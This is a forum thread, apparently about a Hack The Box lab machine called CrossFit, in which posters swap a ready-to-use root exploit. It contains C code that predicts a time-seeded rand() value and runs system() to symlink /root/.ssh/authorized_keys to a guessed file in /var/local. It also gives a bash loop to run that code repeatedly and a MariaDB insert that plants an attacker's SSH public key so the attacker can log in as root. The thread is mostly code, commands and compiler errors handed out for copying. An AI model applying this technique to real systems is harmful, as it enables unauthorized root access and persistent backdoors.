TUTORIAL crossfit root help
by 0x2019 - October 17, 2020 at 07:41 AM
#1
#include <time.h>
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <string.h>
#define RANDSIZE 10
unsigned long seed = pow(2, 32);
void initSeed() {
        time_t curlTime;
        time(&curlTime);
        seed = curlTime;
}
unsigned long getARandomNumber() {
        unsigned long tempSeed = seed * seed;
        char longBuffer[RANDSIZE * 2 + 1];
        int count = 0;
        while (tempSeed > 0 || count < 20) {
                longBuffer[count++] = (tempSeed % 10 + ('0' - 0));
                tempSeed /= 10;
        }
        longBuffer[count] = '\0';
        int len = strlen(longBuffer);
        int startIndex = (len - RANDSIZE) / 2;
        char seedBuffer[RANDSIZE + 1];
        strncpy(seedBuffer, longBuffer + startIndex, RANDSIZE);
        seedBuffer[RANDSIZE] = '\0';
        seed = atol(seedBuffer);
        return seed;
}
int main() {
        initSeed();
        for (int i = 0; i < 10; i++) {
                printf("%lu\n", getARandomNumber());
        }
        return 0;
}

someone please help me its not working
#2
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <openssl/evp.h>
#include <string.h>

void bytes2md5(const char *data, int len, char *md5buf) {
EVP_MD_CTX *mdctx = EVP_MD_CTX_new();
const EVP_MD *md = EVP_md5();
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len, i;
EVP_DigestInit_ex(mdctx, md, NULL);
EVP_DigestUpdate(mdctx, data, len);
EVP_DigestFinal_ex(mdctx, md_value, &md_len);
EVP_MD_CTX_free(mdctx);
for (i = 0; i < md_len; i++) {
snprintf(&(md5buf[i * 2]), 16 * 2, "%02x", md_value[i]);
}
}

int main(void){
srand(time(NULL));
char md5[33];
char data[48];
int x, ID;
ID = 5;
x = rand();
printf("%i\n", x);
snprintf(data, 0x30, "%d%d", x,ID);
printf(data);
const char *hello = data;
bytes2md5(hello, strlen(hello), md5);
printf("\n%s\n", md5);
char link[256];
snprintf(link, 0x100, "ln -s /root/.ssh/authorized_keys /var/local/%s", md5);
printf(md5);
printf(link);
system(link);
}

use this one
#3
(October 19, 2020 at 10:31 AM)Jopraveen Wrote: #include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <openssl/evp.h>
#include <string.h>

void bytes2md5(const char *data, int len, char *md5buf) {
        EVP_MD_CTX *mdctx = EVP_MD_CTX_new();
        const EVP_MD *md = EVP_md5();
        unsigned char md_value[EVP_MAX_MD_SIZE];
        unsigned int md_len, i;
        EVP_DigestInit_ex(mdctx, md, NULL);
        EVP_DigestUpdate(mdctx, data, len);
        EVP_DigestFinal_ex(mdctx, md_value, &md_len);
        EVP_MD_CTX_free(mdctx);
        for (i = 0; i < md_len; i++) {
                snprintf(&(md5buf[i * 2]), 16 * 2, "%02x", md_value[i]);
        }
}

int main(void){
        srand(time(NULL));
        char md5[33];
        char data[48];
        int x, ID;
        ID = 5;
        x = rand();
        printf("%i\n", x);
        snprintf(data, 0x30, "%d%d", x,ID);
        printf(data);
        const char *hello = data;
        bytes2md5(hello, strlen(hello), md5);
        printf("\n%s\n", md5);
        char link[256];
        snprintf(link, 0x100, "ln -s /root/.ssh/authorized_keys /var/local/%s", md5);
        printf(md5);
        printf(link);
        system(link);
}

use this one
thank you very much.......
#4
(October 20, 2020 at 08:22 AM)0x2019 Wrote:
(October 19, 2020 at 10:31 AM)Jopraveen Wrote: #include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <openssl/evp.h>
#include <string.h>

void bytes2md5(const char *data, int len, char *md5buf) {
        EVP_MD_CTX *mdctx = EVP_MD_CTX_new();
        const EVP_MD *md = EVP_md5();
        unsigned char md_value[EVP_MAX_MD_SIZE];
        unsigned int md_len, i;
        EVP_DigestInit_ex(mdctx, md, NULL);
        EVP_DigestUpdate(mdctx, data, len);
        EVP_DigestFinal_ex(mdctx, md_value, &md_len);
        EVP_MD_CTX_free(mdctx);
        for (i = 0; i < md_len; i++) {
                snprintf(&(md5buf[i * 2]), 16 * 2, "%02x", md_value[i]);
        }
}

int main(void){
        srand(time(NULL));
        char md5[33];
        char data[48];
        int x, ID;
        ID = 5;
        x = rand();
        printf("%i\n", x);
        snprintf(data, 0x30, "%d%d", x,ID);
        printf(data);
        const char *hello = data;
        bytes2md5(hello, strlen(hello), md5);
        printf("\n%s\n", md5);
        char link[256];
        snprintf(link, 0x100, "ln -s /root/.ssh/authorized_keys /var/local/%s", md5);
        printf(md5);
        printf(link);
        system(link);
}

use this one
thank you very much.......
/usr/bin/ld: /tmp/ccnD5Tkn.o: in function `bytes2md5':
crossfit.c:(.text+0x1a): undefined reference to `EVP_MD_CTX_new'
/usr/bin/ld: crossfit.c:(.text+0x23): undefined reference to `EVP_md5'
/usr/bin/ld: crossfit.c:(.text+0x3f): undefined reference to `EVP_DigestInit_ex'
/usr/bin/ld: crossfit.c:(.text+0x58): undefined reference to `EVP_DigestUpdate'
/usr/bin/ld: crossfit.c:(.text+0x6f): undefined reference to `EVP_DigestFinal_ex'
/usr/bin/ld: crossfit.c:(.text+0x7b): undefined reference to `EVP_MD_CTX_free'
 how to fix this error

(October 19, 2020 at 10:31 AM)Jopraveen Wrote: #include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <openssl/evp.h>
#include <string.h>

void bytes2md5(const char *data, int len, char *md5buf) {
        EVP_MD_CTX *mdctx = EVP_MD_CTX_new();
        const EVP_MD *md = EVP_md5();
        unsigned char md_value[EVP_MAX_MD_SIZE];
        unsigned int md_len, i;
        EVP_DigestInit_ex(mdctx, md, NULL);
        EVP_DigestUpdate(mdctx, data, len);
        EVP_DigestFinal_ex(mdctx, md_value, &md_len);
        EVP_MD_CTX_free(mdctx);
        for (i = 0; i < md_len; i++) {
                snprintf(&(md5buf[i * 2]), 16 * 2, "%02x", md_value[i]);
        }
}

int main(void){
        srand(time(NULL));
        char md5[33];
        char data[48];
        int x, ID;
        ID = 5;
        x = rand();
        printf("%i\n", x);
        snprintf(data, 0x30, "%d%d", x,ID);
        printf(data);
        const char *hello = data;
        bytes2md5(hello, strlen(hello), md5);
        printf("\n%s\n", md5);
        char link[256];
        snprintf(link, 0x100, "ln -s /root/.ssh/authorized_keys /var/local/%s", md5);
        printf(md5);
        printf(link);
        system(link);
}

use this one
/usr/bin/ld: /tmp/ccnD5Tkn.o: in function `bytes2md5':
crossfit.c:(.text+0x1a): undefined reference to `EVP_MD_CTX_new'
/usr/bin/ld: crossfit.c:(.text+0x23): undefined reference to `EVP_md5'
/usr/bin/ld: crossfit.c:(.text+0x3f): undefined reference to `EVP_DigestInit_ex'
/usr/bin/ld: crossfit.c:(.text+0x58): undefined reference to `EVP_DigestUpdate'
/usr/bin/ld: crossfit.c:(.text+0x6f): undefined reference to `EVP_DigestFinal_ex'
/usr/bin/ld: crossfit.c:(.text+0x7b): undefined reference to `EVP_MD_CTX_free'
how to fix this error
#5
name that file run.c in /home/isaac folder
then run this command to compile

gcc run.c -o run -lcrypto

then create a bash file named loop.sh,

while true
do
./run
done

save this file loop.sh
then run this loop.sh

then add your pub ssh key into /root/.ssh
by maria db

here it is
insert into messages (id, name, email, message) values ('5', '', '', 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIp3KnwIDTYQQ2oU25Out9lckJdpEeEeWqI5UHFWJw4yjRZj35CyO1BadJNSsKqKu2leIwj2xd2Ai3QROLxvmEEMoF2QDQ5RW7Zx3744o4Q+Ej5ZBefM4VdNaGENI51g0NCQZhFzOWeRLhcuFT8hOFkgiouW26lbyadPmRU5AaBtOofgF1mh+M6HlpmQDuyefdRxaeaEShHSX69omfk6lpjbtc3sZrA0+KIx5pKPSl+7fpAXL6joiE8J4zJ6v/tygUeM8rkXKreJOYhmrO7LbaJ0RtwQ3x2lXlICnjYfAQnGoezwbjCAfHLFVAjq2');
replace your ssh key and do that thing

then you can able to log as root with your id_rsa thing

ssh -i [email protected]


Finally you rooted!
[email protected]_fun!
#6
hey its 10.10.10.208
i accidentaly typed .210 correct that when you log with ssh
#7
(October 21, 2020 at 02:22 PM)Jopraveen Wrote: hey its 10.10.10.208
i accidentaly typed .210 correct that when you log with ssh
thank you i rooted .....................
#8
(October 21, 2020 at 10:39 AM)Jopraveen Wrote: name that file run.c in /home/isaac folder
then run this command to compile

gcc run.c -o run -lcrypto

then create a bash file named loop.sh,

while true
do
      ./run
done

save this file loop.sh
then run this loop.sh

then add your pub ssh key into /root/.ssh
by maria db

here it is
insert into messages (id, name, email, message) values ('5', '', '', 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIp3KnwIDTYQQ2oU25Out9lckJdpEeEeWqI5UHFWJw4yjRZj35CyO1BadJNSsKqKu2leIwj2xd2Ai3QROLxvmEEMoF2QDQ5RW7Zx3744o4Q+Ej5ZBefM4VdNaGENI51g0NCQZhFzOWeRLhcuFT8hOFkgiouW26lbyadPmRU5AaBtOofgF1mh+M6HlpmQDuyefdRxaeaEShHSX69omfk6lpjbtc3sZrA0+KIx5pKPSl+7fpAXL6joiE8J4zJ6v/tygUeM8rkXKreJOYhmrO7LbaJ0RtwQ3x2lXlICnjYfAQnGoezwbjCAfHLFVAjq2');
replace your ssh key and do that thing

then you can able to log as root with your id_rsa thing

ssh -i [email protected]


Finally you rooted!
[email protected]_fun!

how to run mariadb where to run, in our local maachine or hank terminal i created loop.sh?
This forum account is currently banned. Ban Length: Permanent (N/A).
Ban Reason: Mass Leeching.

Possibly Related Threads…
Thread Author Replies Views Last Post
TUTORIAL Crossfit detailed writeup Jockerjock 4 154 40 minutes ago
Last Post: codiebruh
TUTORIAL Help me with crossfit writeups SinisterWitch 4 259 Yesterday at 10:49 AM
Last Post: 0xvijay
TUTORIAL search writeup Crossfit Kali76 15 1,679 November 23, 2020 at 03:39 PM
Last Post: John Raid

 Users browsing this thread: 1 Guest(s)